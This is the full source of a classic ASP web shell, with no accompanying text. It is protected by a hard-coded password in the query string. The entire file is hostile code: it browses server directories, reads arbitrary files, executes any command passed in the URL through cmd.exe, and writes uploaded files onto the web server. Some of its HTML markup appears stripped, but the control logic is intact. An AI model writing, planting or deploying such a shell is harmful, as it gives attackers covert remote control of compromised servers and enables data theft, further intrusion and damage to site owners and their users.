<%Response.Buffer=True:On Error Resume Next:Response.Clear:Response.Charset="utf-8":Session.CodePage=65001 Dim PW,p,act,fso,R PW="k9x3m7q2" p=Request.QueryString("p") If p<>PW Then Response.Write "

":Response.End Set fso=Server.CreateObject("Scripting.FileSystemObject") act=Request.QueryString("act") R="" If act="dir" Then Dim d,fo,f,sd d=Request.QueryString("d"):If d="" Then d=Server.MapPath("/") R=R&"DIR "&Server.HTMLEncode(d)&"
" Set fo=fso.GetFolder(d) For Each sd In fo.SubFolders R=R&"[D] "&sd.Name&"
" Next For Each f In fo.Files R=R&"[F] "&f.Name&" ("&f.Size&")
" Next ElseIf act="read" Then Dim tf,txt Set tf=fso.OpenTextFile(Request.QueryString("f"),1,False) txt=tf.ReadAll:tf.Close R=R&"READ "&Server.HTMLEncode(Request.QueryString("f"))&"

"&Server.HTMLEncode(txt)&"

" ElseIf act="cmd" Then Dim sh,ex Set sh=Server.CreateObject("WScript.Shell") Set ex=sh.Exec("cmd.exe /c "&Request.QueryString("c")) R=R&"CMD "&Server.HTMLEncode(Request.QueryString("c"))&"

"&Server.HTMLEncode(ex.StdOut.ReadAll)&"

" ElseIf act="up" Then Dim tb,bd,bnd,p1,p2,i,stm,fnm,cnt tb=Request.TotalBytes fnm=Request.QueryString("fname"):If fnm="" Then fnm="up.txt" If tb>0 Then bd=Request.BinaryRead(tb) p1=InStrB(bd,ChrB(13)&ChrB(10)&ChrB(13)&ChrB(10)) bnd=ChrB(13)&ChrB(10)&ChrB(45)&ChrB(45) p2=0 For i=4 To LenB(bd)-1 If MidB(bd,LenB(bd)-i,4)=bnd Then p2=LenB(bd)-i:Exit For Next If p1>0 And p2>p1 Then cnt=MidB(bd,p1+4,p2-p1-4) Set stm=Server.CreateObject("ADODB.Stream") stm.Type=1:stm.Open:stm.Write cnt:stm.SaveToFile Server.MapPath(fnm),2:stm.Close R=R&"saved "&Server.HTMLEncode(fnm)&" ("&LenB(cnt)&" bytes)
" Else R=R&"upload parse failed p1="&p1&" p2="&p2&"
" End If End If End If Response.Write "" Response.Write R Response.Write "

---

path

" Response.Write "

file

" Response.Write "

cmd

" Response.Write "

save as

" Response.Write "" Response.End%>